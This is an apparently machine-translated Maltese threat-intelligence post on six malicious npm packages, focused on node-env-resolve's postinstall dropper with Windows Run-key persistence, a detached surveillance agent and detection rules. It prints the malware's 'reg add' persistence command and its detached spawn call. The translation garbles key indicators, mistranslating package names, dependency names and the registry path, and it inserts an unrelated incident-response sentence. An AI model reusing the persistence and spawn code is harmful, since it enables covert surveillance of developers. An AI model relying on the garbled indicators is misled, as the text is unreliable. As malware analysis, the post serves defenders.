TL; DR
Bejn l-1 ta' April u t-3 ta' Mejju 2026, pubblikatur wieħed tal-npm, user0001, irreġistrat bl-indirizz tal-Gmail mhux verifikat tanvisoul9@gmail.com, imbotta bil-kwiet sitt pakketti b'ismijiet apposta bla togħma u li jinstemgħu infrastrutturali: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, u node-env-resolve.
L-aħħar żewġ verżjonijiet ta' node-env-resolve, 1.0.7 u 1.0.8, ġew immarkati mis-sistema ta' Twissija Bikrija ta' Malware (MEW) ta' Xygeni fit-2 ta' Mejju u kkonfermati bħala malizzjużi fit-3 ta' Mejju.
L-impjant mhux tas-soltu għal dak li mhux: m'hemm l-ebda bots tat-Telegram, l-ebda callbacks tal-OAST, l-ebda konfużjoni, u l-ebda tentattiv biex jittieħdu l-kredenzjali tal-AWS fil-ħin tal-installazzjoni. Minflok, postinstall.js tħawwel entrata ta' persistenza tal-boot tal-Windows, bl-użu ta' ċavetta HKCU Run li tniedi wscript.exe kontra stub VBS. Imbagħad joħloq aġent Node.js separat li jiġbor flimkien moduli għall-qbid tal-mikrofonu, is-serq tal-istorja tal-browser, it-teħid ta' screenshots, u s-simulazzjoni tal-maws/tastiera.
Qed insejħu dan il-grupp DevTap, wara l-kit jitlaq jaħdem fuq magna ta' żviluppatur.
Is-sitt pakketti kollha kienu live fuq npm fil-ħin tal-kitba. Aħna ssottomettejnihom lill-kanal tal-abbuż tar-reġistru. Id-difensuri għandhom ineħħu kwalunkwe installazzjoni mill-pubblikatur sakemm titneħħa.
Il-Grupp: Sitt Pakketti, Pubblikatur Wieħed
Il-kont tal-pubblikatur user0001 mhux verifikat. M'għandu l-ebda SCM verifika, l-ebda email marbuta mad-dominju, u l-ebda storja preċedenti. Il-manwal tal-Gmail tanvisoul9 ma jidhirx f'xi rekord ieħor ta' pubblikatur npm li stajna nsibu.
Is-sitt pakketti kollha jelenkaw l-istess manutentur, ġew ippubblikati mill-istess kont, u jaqsmu l-istess package.json pjanċa standard. M'hemm l-ebda repository, le homepage, u le description itwal minn linja waħda.
L-istrateġija tal-ismijiet hija l-parti interessanti. B'differenza minn kampanja klassika ta' konfużjoni dwar id-dipendenza jew typosquat, l-ebda wieħed minn dawn l-ismijiet ma jimmira lejn librerija upstream speċifika. Minflok, huma kalibrati biex jisparixxu f'librerija reali. package.json or npm ls output.
| Pakkett | Ippubblikat għall-ewwel darba | Verżjoni reċenti | verżjonijiet | Rwol fil-Klaster |
|---|---|---|---|---|
| ċentraliġġogger | 2026-04-01 12:46 UTC | 1.0.9 | 5, minn 1.0.5 għal 1.0.9 | Il-qoxra tal-"utilità tal-logging" tal-klaster; l-ewwel pubblikazzjoni |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | Kopertura ġenerika tad-DOM-helper |
| node-fetch-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | Jimita l-familja tan-node-fetch |
| aġent tal-konnettur | 2026-04-25 05:12 UTC | 1.0.0 | 1 | Isem ġeneriku “aġent” |
| node-gyp-runtime | 2026-04-25 05:17 UTC | 1.0.0 | 1 | Jimita l-għodda tal-bini tal-moduli nattivi |
| node-env-resolve | 2026-04-25 05:21 UTC | 1.0.9 | 10, minn 1.0.0 għal 1.0.9 | Qattara attiva; impjant sħiħ |
Ismijiet bħal centralogger, node-fetch-lite, u node-gyp-runtime huma ddisinjati biex jidhru mhux kontroversjali fir-reviżjoni tal-kodiċi. Jinstema' bħal affarijiet li diġà jkunu fis-siġra tad-dipendenza ta' proġett.
Flimkien ma' pubblikatur ġdid u mhux verifikat u links ta' repożitorju neqsin, dawn jiffurmaw xejra rikonoxxibbli: attur li jdaħħal ismijiet b'frizzjoni baxxa fir-reġistru, imbagħad jirrepeti malajr fuq dak li hu importanti. F'dan il-każ, node-env-resolve irċieva għaxar verżjonijiet fi tmien ijiem.
Dak li Jinżel fuq Kaxxa tal-Iżviluppaturi tal-Windows
Il-katina malizzjuża fuq node-env-resolve:1.0.8 huwa qasir, dirett, u rikk fil-karatteristiċi b'mod mhux tas-soltu għal RAT npm.
Postinstallazzjoni: Persistenza u Aġent Detached
package.json jiddikjara hook ta' installazzjoni wieħed:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js jagħmel tliet affarijiet fl-ordni.
L-ewwel, ipoġġi direttorju tal-installazzjoni barra s-siġra npm. Il-mogħdija tiġi kkalkulata waqt l-eżekuzzjoni fl-iskritt bħala INSTALL_DIRImbagħad imexxi internament execSync('npm install --production --silent ...') ġewwa fih biex jiġbed id-dipendenzi tal-runtime tal-impjant. Dan ipoġġi l-aġent fuq id-diska x'imkien manwali node_modules l-awdit mhux se jsib.
It-tieni, jikteb launcher VBS u jirreġistrah għall-persistenza tal-boot:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe huwa l-Windows Script Host, binarju ffirmat ta' Microsoft li jaħdem .vbs fajls mingħajr tieqa tal-console. Dak huwa precisHuwa għalhekk li huwa favorit għal stubs ta' autorun.
Hemm ukoll tqabbil reg delete mogħdija ġewwa src/index.js, li jissuġġerixxi li l-impjant huwa ddisinjat biex jitneħħa faċilment fuq kmand tal-operatur.
It-tielet, dan joħloq proċess tat-tfal separat:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })Żewġ dettalji huma importanti hawnhekk.
SERVER_URL jinqara mill-ambjent. B'riżultat ta' dan, l-endpoint C2 huwa konfigurabbli għal kull skjerament u mhux inkorporat fil-pakkett. Dik l-għażla żgħira iżda intenzjonata tegħleb il-biċċa l-kbira tal-isweeps statiċi tal-IOC.
Barra minn hekk, it-tifel imnissel jiret l-ambjent ġenitur sħiħ. Għalhekk, kwalunkwe NPM_TOKEN, AWS_*, GITHUB_TOKEN, jew sokit tal-aġent SSH preżenti fix-shell tal-iżviluppatur fil-ħin tal-installazzjoni jivvjaġġa fil-memorja tal-aġent li jdum ħafna.
Ma’ xiex Jagħti l-Aġent
Il-bundled src/ Is-siġra tinkludi tliet moduli li isimhom biss jirrakkonta l-istorja: audioCapture.js, browserHistory.js, u systemInfo.js.
Il-lista tad-dipendenzi tar-runtime, solvuta matul l-istadji npm install, jikkorroborahom.
Dan l-approċċ jibdel inċident kaotiku f'rispons kontrollat.
Minflok ma jirreaġixxu bl-addoċċ, it-timijiet joperaw b' prijoritizzazzjoni ċara u rimedju rapidu.
| dipendenza | Għalxiex Huwa f'Dan il-Kuntest |
|---|---|
| screenshot-desktop | Qbid tal-iskrin perjodiku |
| @nut-siġra-furketta/nut-js | Awtomazzjoni / simulazzjoni tal-input tal-maws u tat-tastiera |
| aħjar-sqlite3 | Qari dirett tad-databases SQLite tal-Istorja ta' Chrome, Edge, u Firefox |
| adm-zip | L-irbit tal-artefatti miġbura qabel l-esfiltrazzjoni |
| qawwija | Tibdil fid-daqs / kompressjoni ta' screenshots u artefatti tal-immaġni |
| socket.io-klijent | Kanal C2 bidirezzjonali persistenti |
| node-magna-id | Marka tas-swaba' stabbli għal kull host għat-traċċar tal-vittmi |
systemInfo.js sejħiet os.networkInterfaces() għal teħid addizzjonali tas-swaba' qabel l-ewwel beacon.
Għaliex il-Qbid tal-Awdjo Huwa s-Sinjal li Jispikka
Il-biċċa l-kbira tar-RATs tal-npm li nagħmlu triage fl-MEW jieqfu waqt is-serq sigriet fil-ħin tal-installazzjoni. Huma jaqraw ~/.npmrcaqra ~/.aws/credentials, brix process.env, Ibgħat POST għal webhook, u oħroġ. Dan jaqbel ma' mudell ekonomiku ta' smash-and-grab. Il-kredenzjali għandhom half-life qasira, u l-attakkant jeħtieġ li jimmonetizza malajr.
node-env-resolve huwa differenti fil-forma.
Il-persistenza hija ssettjata biex tibqa' ħajja wara reboot. L-aġent jaħdem separatament u jdum għal żmien twil taħt wscript.exeIl-kit li jġorr miegħu huwa biex ikun hemm fuq il-magna tal-iżviluppatur, mhux biex jaqbad u jħalli: reġistratur tal-mikrofonu, sewwieq tat-tastiera/maws, teħid tal-istorja sħiħa tal-browser, qbid tal-iskrin, u kanal Socket.IO interattiv lura lejn C2 konfigurabbli.
Il-qbid tal-mikrofonu b'mod partikolari huwa l-linja li din il-kampanja taqbeż li l-biċċa l-kbira tal-malware npm ma taqbiżx.
Stazzjon tax-xogħol tal-iżviluppatur, dejjem aktar, qed isir ukoll l-istazzjon tax-xogħol fejn l-iżviluppaturi jieħdu stand-ups, telefonati lill-klijenti, diskussjonijiet dwar id-disinn, u bridges on-call. Impjant li jirreġistra l-mikrofonu mhux verament wara t-token npm tal-iżviluppatur. Huwa wara dak li jgħid l-iżviluppatur quddiem il-laptop.
Dak is-sett ta' kapaċitajiet, flimkien man-nuqqas ta' offuskazzjoni u l-assenza ta' kwalunkwe esfiltrazzjoni attraenti fil-ħin tal-installazzjoni, jinqara bħala pre-pożizzjonament għal aċċess immirat aktar milli serq ta' kredenzjali opportunistiku.
M’aħniex qed nasserixxu attribuzzjoni minn dan biss. Qed ninnutaw il-profil operattiv.

Il-kadenza tal-iterazzjoni ta' tmien ijiem fuq node-env-resolve huwa l-aktar dettall operattivament sinifikanti fil-kronoloġija.
Din mhix xi ħaġa li tinħareġ u tinsa l-installazzjoni. Il-pubblikatur qed iżomm id-dropper attivament, li ġeneralment ifisser waħda minn żewġ affarijiet. Jew qed jirfinaha skont ambjenti ta' ttestjar qabel skjerament usa', jew diġà għandhom telemetrija tal-installazzjoni li ġejja lura u qed jirrispondu għaliha.
Il-ħames pakketti l-oħra ma raw l-ebda tħassir wara l-pubblikazzjoni inizjali tagħhom. Dan jaqbel ma' mudell ta' "stadju darba, ħalli b'isem" għall-cluster ta' appoġġ filwaqt li l-isforz tal-inġinerija jiffoka fuq il-pakkett li jagħmel ix-xogħol.
Attribuzzjoni: Ħjiel Żgħar, Ebda Verdett Sod
Pubblika OSINT Is-sinjali huma rqaq, u mhux se niġġebduhom. Dak li jista' jiġi osservat:
Il-manwal tal-Gmail tanvisoul9 parzjalment jixbah isem mogħti mill-Asja t'Isfel, "Tanvi." Dan huwa sinjal dgħajjef. Il-handles tal-Gmail mhumiex identità, u l-aħħar soul9 huwa ġeneriku. Mhuwiex sikur li wieħed jiddeduċi l-ġeografija minn parti lokali tal-email biss.
L-istil tal-kodiċi mhuwiex notevoli f'Node.js: standard sejħiet tal-librerija bħal os, child_process, spawn, u reg addM'hemm l-ebda offuskazzjoni, l-ebda rotazzjoni tal-kordi, u l-ebda loġika kontra d-debug. L-awtur huwa komdu bil-primittivi tar-reġistru tal-Windows u l-orkestrazzjoni ta' detached-child-process, iżda ma jidhirx li qed jfittex ħiliet kummerċjali aktar moħbija li jistgħu jużaw b'mod plawżibbli.
Id-dipendenzi huma kompletament lesti għall-użu u magħrufa sew: screenshot-desktop, nut-js, better-sqlite3, u socket.io-clientM'hemm l-ebda protokoll apposta, l-ebda stack C2 rolled-from-scratch, u l-ebda trick ġdid ta' persistenza lil hinn minn ktieb tat-test. Ċavetta Run tal-HKCUDan huwa integratur kompetenti, mhux awtur ta' għodda.
Ma sibniex strings mhux bl-Ingliż, kummenti inkorporati, dejta lokali, jew marki tas-swaba' taż-żona tal-ħin outputjati mill-kumpilatur fl-artefatti ppubblikati.
Iċċekkjajna jekk il-kodiċi kienx jikkoinċidi ma' kampanji preċedenti li diġà nsegwu, inkluż Shai Hulud, Owlivjon, Buildkite, u l-heibai reċenti / claude-code-best Familja ta' kloni Anthropic-CLI. Ma sibna l-ebda waħda: l-ebda mudell C2 kondiviż, l-ebda tqassim ta' fajls kondiviż, u l-ebda idjoma kondiviża.
Dak li ma ngħidux: li dan huwa attur statali, grupp magħruf, jew ġeografikament marbut ma' xi pajjiż speċifiku.
Il-profil operattiv huwa konsistenti ma' tim żgħir u moderatament b'ħiliet li jagħmel sorveljanza tal-istazzjon tax-xogħol tal-iżviluppaturi. X'aktarx huwa motivat finanzjarjament permezz tal-użu downstream tal-aċċess, iżda possibbilment ukoll rikonoxximent bħala servizz għal xerrej separat.
Żewġ punti indiretti jappoġġjaw dan il-qari: l-evitar ta' mekkaniżmi ta' esfiltrazzjoni li jiġbdu l-attenzjoni u li jaħarqu l-grupp malajr, bħal bots tat-Telegram, oastify.com, jew canarytokens, u l-ismijiet tal-pakketti apposta bla togħma, li jiffavorixxu installazzjonijiet kwieti b'denb twil fuq żieda qasira fil-volum għoli.
Indikaturi ta' Kompromess u Sejbien
| Pakketti u Pubblikatur | |
|---|---|
| Qasam | valur |
| pubblikatur tal-npm | user0001 |
| Email tal-pubblikatur | tanvisoul9@gmail.com, mhux verifikat |
| Pakketti | centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime, node-env-resolve |
| Malizzjuż ikkonfermat | node-env-resolve@1.0.7, node-env-resolve@1.0.8 |
| Ospitanti Artefatti | |
|---|---|
| tip | valur |
| Ċavetta tal-persistenza | HKCU\Software\Microsoft\Windows\Verżjoni Attwali\Run |
| Valur tal-persistenza | Isem tal-varjabbli; dejta tal-forma wscript.exe " \\ .vbs" |
| Installa l-ganċ | postinstall: node postinstall.js fil-manifest tal-pakkett |
| Moduli tal-impjanti | src/audioCapture.js, src/browserHistory.js, src/systemInfo.js |
| Direttorju tal-istadjar | INSTALL_DIR riżolt barra n-node_modules tal-proġett; il-post ġie stabbilit minn postinstall.js fil-ħin tal-installazzjoni |
| Netwerk | |
|---|---|
| tip | valur |
| Trasport C2 | socket.io-client, kanal bidirezzjonali persistenti |
| Punt tat-tmiem C2 | Ipprovdut lill-aġent permezz tal-varjabbli tal-ambjent SERVER_URL; mhux hard-coded f'artefatti ppubblikati |
Noti ta' Sejbien
Żewġ regoli jaqbdu din il-familja mingħajr il-ħtieġa tal-endpoint C2.
L-ewwel, immarka l-iskripts ta' wara l-installazzjoni li jwettqu azzjoni interna npm install f'mogħdija barra mid-direttorju tal-pakkett stess. Kwalunkwe downloader leġittimu ta' prebuild, bħal node-gyp rikostruzzjonijiet jew downloaders binarji mibnija minn qabel, jikteb ġewwa l-pakkett jew fil-pjattaforma-standard mogħdijiet tal-cache b'hashes verifikati. Ma jiktebx f'waħda maħluqa friska INSTALL_DIR x'imkien ieħor fuq id-diska.
It-tieni, immarka l-iskripts ta' wara l-installazzjoni li joħorġu problemi reg add HKCU\…\Run ma wscript.exe bħala l-llanċjar. Dan essenzjalment qatt ma jkun leġittimu minn pakkett npm. Immarkah u poġġih fi kwarantina.
It-tielet ewristika hija utli biex jiġi identifikat il-pakkett aħwa li jmiss qabel ma jiġi kkonfermat: pubblikatur npm ġdid mingħajr SCM verifika, email tal-Gmail, le repository qasam, u ismijiet multipli ta' pakketti qosra, ġeneriċi, u li jinstemgħu infrastrutturali ppubblikati fi ftit jiem minn xulxin huwa, waħdu, biżżejjed biex jiġġustifika reviżjoni manwali.
Irrapportat lir-reġistru tal-npm. Se naġġornaw din il-kariga meta l-kont tal-pubblikatur jitneħħa.






